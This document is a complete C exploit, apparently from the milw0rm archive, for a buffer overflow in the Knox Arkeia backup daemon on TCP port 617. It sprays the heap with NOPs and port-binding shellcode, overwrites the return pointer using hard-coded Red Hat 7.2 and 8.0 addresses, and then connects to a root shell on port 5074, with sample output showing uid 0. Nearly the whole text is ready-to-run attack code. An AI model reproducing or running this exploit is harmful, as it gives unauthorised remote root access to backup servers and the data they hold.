Knox Arkeia Pro 5.1.12 - Backup Remote Code Execution - CVE-2005-0491

/*
 * Knox Arkiea arkiead local/remote root exploit.
 *
 * Portbind 5074 shellcode
 *
 * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
 *
 * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
 * A previous request forces a large allocation of NOP's + shellcode in heap
 * memory.  Find additional targets by searching the heap for NOP's after a
 * crash.  safeaddr must point to any area of memory that is read/writable
 * and won't mess with program/shellcode flow.
 *
 * ./ark_sink host targetnum
 * [user@host dir]$ ./ark_sink 192.168.1.2 1
 * [*] Connected to 192.168.1.2:617
 * [*] Connected to 192.168.1.2:617
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Sending overflow
 * [*] Done
 * [*] Sleeping and connecting remote shell
 * [*] Connected to 192.168.1.2:5074
 * [*] Success, enjoy
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


#define BUFLEN      10000       /* for getshell()       */
#define LEN         280     /* overflow packet data section    */
#define HEAD_LEN    8                      /*  overflow packet header   */
#define NOP_LEN     10000       /* nop+shellcode packet     */
#define ARK_PORT    617
#define SHELL_PORT  5074
#define NOP         0x90
#define NUMTARGS    2

struct {
    char        *os;
    unsigned int    targret;
    unsigned int    targsafe;
} targets[] = {
    { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
    { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
    NULL
};


/* portbind 5074 */
const char shellcode[] =
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned int resolve(char *hostname)
{
    u_long  ip = 0;
    struct hostent  *hoste;

    if ((int)(ip = inet_addr(hostname)) == -1)
    {
        if ((hoste = gethostbyname(hostname)) == NULL)
        {
            herror("[!] gethostbyname");
            exit(-1);
        }
        memcpy(&ip, hoste->h_addr, hoste->h_length);
    }
    return(ip);
}


int isock(char *hostname, int portnum)
{
    struct sockaddr_in  sock_a;
    int         num, sock;
    unsigned int        ip;
    fd_set          input;

    sock_a.sin_family = AF_INET;
    sock_a.sin_port = htons(portnum);
    sock_a.sin_addr.s_addr = resolve(hostname);

    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
        herror("[!] accept");
        exit(-1);
    }

    if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
    {
        herror("[!] connect");
        exit(-1);
    }

    fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
    return(sock);

}

int getshell(int sock)
{

    char    buf[BUFLEN];
    int nread=0;

    while(1)
    {
            fd_set input;
            FD_SET(0,&input);
            FD_SET(sock,&input);
            select(sock+1,&input,NULL,NULL,NULL);

        if(FD_ISSET(sock,&input))
        {
                nread=read(sock,buf,BUFLEN);
                write(1,buf,nread);
            }
            if(FD_ISSET(0,&input))
                write(sock,buf,read(0,buf,BUFLEN));
    }
}

int usage(char *progname)
{
    int     i;

    fprintf(stderr, "Usage:\n./%s hostname target_num\n");
    for (i = 0; targets[i].os; i++)
        fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
    exit(-1);
}

int main( int argc, char **argv)
{

    /* first 2 bytes are a type 74 request */
    /* last two bytes length */
    char        head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
    char        data[512];
    char        sc_req[20000];
    char        *host;
    unsigned int        tnum;
    unsigned int    safeaddr;
    unsigned int    ret;
    int     datalen     = LEN;
    int     port        = ARK_PORT;
    unsigned int    addr        = 0;
    int     sock_overflow, sock_nops, sock_shell;
    int         i;

    if (argc == 3)
    {
        host = argv[1];
        tnum = atoi(argv[2]);
        if (tnum > NUMTARGS || tnum == 0)
        {
            fprintf(stderr, "[!] Invalid target\n");
            usage(argv[0]);
        }
    }
    else
    {
        usage(argv[0]);
    }

    tnum--;
    ret = targets[tnum].targret;
    safeaddr = targets[tnum].targsafe;

    sock_overflow = sock_nops = sock_shell = 0;
    sock_nops = isock(host, port);
    sock_overflow = isock(host, port);

    // build data section of overflow packet
    memset(data, 0x90, datalen);
    for (i = 0; i < datalen; i += 4)
        memcpy(data+i, (char *)&ret, 4);
    // we overwrite a pointer that must be a valid address
    memcpy(data+datalen-12, (char *)&safeaddr, 4);

    // build header of overflow packet
    datalen = ntohs(datalen);
    memcpy(head+6, (char *)&datalen, 2);

    // build invalid packet with nops+shellcode
    memset(sc_req, 0x90, NOP_LEN+1);
    memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

    // send invalid nop+shellcode packet
    fprintf(stderr, "[*] Sending nops+shellcode\n");
    write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
    fprintf(stderr, "[*] Done, sleeping\n");
    sleep(1);
    close(sock_nops);

    // send overflow
    fprintf(stderr, "[*] Sending overflow\n");
    write(sock_overflow, head, HEAD_LEN);
    write(sock_overflow, data, LEN);
    fprintf(stderr, "[*] Done\n");
    fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
    sleep (1);
    close(sock_overflow);

    // connect to shell
    sock_shell = isock(host, SHELL_PORT);
    fprintf(stderr, "[*] Success, enjoy\n");
    getshell(sock_shell);

}


// milw0rm.com [2003-09-20]